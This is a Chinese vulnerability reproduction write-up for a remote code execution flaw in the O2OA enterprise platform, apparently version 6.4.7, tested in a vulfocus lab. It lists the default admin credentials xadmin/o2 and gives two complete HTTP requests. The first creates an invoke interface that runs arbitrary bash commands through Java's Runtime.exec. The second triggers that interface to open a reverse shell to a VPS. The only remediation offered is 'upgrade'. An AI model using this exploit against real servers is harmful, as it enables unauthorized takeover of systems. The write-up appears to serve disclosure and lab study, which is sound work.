1、产品简介
O2OA是一款Java开源企业信息化建设平台,包括流程管理、门户管理、信息管理、数据管理和服务管理五大平台,可以极大程度上减化企业信息化建设成本和业务应用开发难度。
2、漏洞概述
O2OA是一个基于 J2EE分布式架构,集成移动办公、智能办公,支持私有化部署,自适应负载能力的,能够很大程度上节约企业软件开发成本,基于AGPL协议开放源代码的企业信息化系统需求定制开发平台解决方案。通过/x_program_center/jaxrs/invoke 发现 020A v6.4.7 包含一个远程代码执行(RCE)漏洞。
3、影响范围
020A v6.4.7
4、复现环境
vulfocus在线靶场环境
5、利用流程
1、使用默认口令xadmin/o2
登录后台,利用某大佬写的POC进行复现
项目地址:O2OA-POC/POC.md at main · wendell1224/O2OA-POC · GitHub
注意事项:大佬的POC里面应该是打错了,多打了一个 " /" ,所以导致添加的接口无法调用指令,删掉即可。
bp抓包收集Authorization字段信息
添加一个接口
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1Host: [your target host]Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Authorization: [your authorization]Connection: closeContent-Type: application/json; charset=UTF-8Content-Length: 475{"name":"abc","id":"abc","alias":"","description":"","isNewInvoke":true,"text":"\n\nvar s = [3];\ns[0] = \"/bin/bash\";\ns[1] = \"-c\";\ns[2] = \"[command]\";\nvar p = java.lang.Runtime.getRuntime().exec(s);\nvar sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\nvar result = sc.hasNext() ? sc.next() : \"\";\nsc.close();","enableToken":false,"enable":true,"remoteAddrRegex":"","lastStartTime":"","lastEndTime":"","validated":true}
2、调用接口中的命令反弹shell
POST /x_program_center/jaxrs/invoke/abc/execute?v=6.3 HTTP/1.1Host: [your target host]Content-Length: 0Accept: text/html,application/json,*/*X-Requested-With: XMLHttpRequestAccept-Language: zh-CNAuthorization: [your authorization]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36Content-Type: application/json; charset=UTF-8Origin: http://[your target host]Referer: http://[your target host]/x_desktop/index.htmlAccept-Encoding: gzip, deflateCookie: Connection: close
VPS成功反弹shell
6、修复建议
升级至安全版本。